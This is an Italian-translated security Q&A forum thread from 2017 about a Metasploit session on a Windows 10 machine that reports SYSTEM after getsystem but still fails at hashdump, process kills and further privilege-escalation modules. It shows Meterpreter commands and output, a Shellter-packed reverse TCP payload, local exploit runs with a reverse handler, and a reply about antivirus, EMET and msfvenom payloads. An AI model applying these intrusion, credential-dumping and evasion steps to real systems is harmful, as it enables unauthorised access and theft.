Escalation di privilegi acquisiti ma nessuna autorizzazione che utilizza Metasploit

9

Sto affrontando un problema molto strano. Ho estratto con successo una scatola usando Shellter con Meterpreter_Reverse TCP.

Ecco il sysinfo:

meterpreter > sysinfo
Computer        : ********
OS              : Windows 10 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 4
Meterpreter     : x64/windows

Ora la cosa strana è quando scrivo:

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Si dice che ho ottenuto l'autorità NT, tuttavia quando digito:

meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeAssignPrimaryTokenPrivilege
  SeChangeNotifyPrivilege
  SeCreateGlobalPrivilege
  SeDebugPrivilege
  SeImpersonatePrivilege
  SeSystemProfilePrivilege
  SeTcbPrivilege

Questi sono solo i privilegi che ottengo. Non tutto. Se provo a usare hashdump:

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

Inoltre, ho già effettuato la migrazione ad un altro processo di autorizzazione NT, in questo caso (svchost.exe)

Se provo a eseguire qualsiasi exploit locale in background, dice che il sistema è già elevato.

msf exploit(ms16_032_secondary_logon_handle_privesc) > run

[*] Started reverse TCP handler on 192.168.0.100:4444
[-] Exploit aborted due to failure: none: Session is already elevated

Inoltre, se provo a usare l'exploit "ASK" per ottenere privilegi, questo è ciò che accade:

msf exploit(ask) > run

[*] Started reverse TCP handler on 192.168.0.100:4444
[+] UAC is not enabled, no prompt for the user
[*] Uploading eobKMikmOsnWp.exe - 73802 bytes to the filesystem...
[*] Executing Command!

E si blocca e non viene richiesto alcun prompt sul computer delle vittime.

Anche qualsiasi comando che cerco di eseguire, mi dà solo un errore affermando che non ho accesso:

meterpreter > kill 7744
Killing: 7744
[-] stdapi_sys_process_kill: Operation failed: Access is denied.

Sono totalmente perso per capire cosa sta succedendo esattamente qui? Dice che ho ottenuto l'accesso al sistema, ma ancora non sono in grado di fare nulla?

Perché?

Qualsiasi aiuto sarebbe apprezzato.

    
posta Sankalp Singha 09.07.2017 - 19:43
fonte

1 risposta

1

L'obiettivo è EMET? Nello specifico, la whitelist dell'applicazione? Inoltre, qualsiasi tipo di AV?

Inoltre, forse è perché non hai impostato la sessione, su cui si basano sia hashdump che getsystem. Potrebbe anche impedirti di ottenere una shell interattiva!:

link link

Infine, puoi utilizzare un carico utile diverso da meterpreter (ad esempio generato via msfvenom)?

    
risposta data 06.10.2017 - 21:06
fonte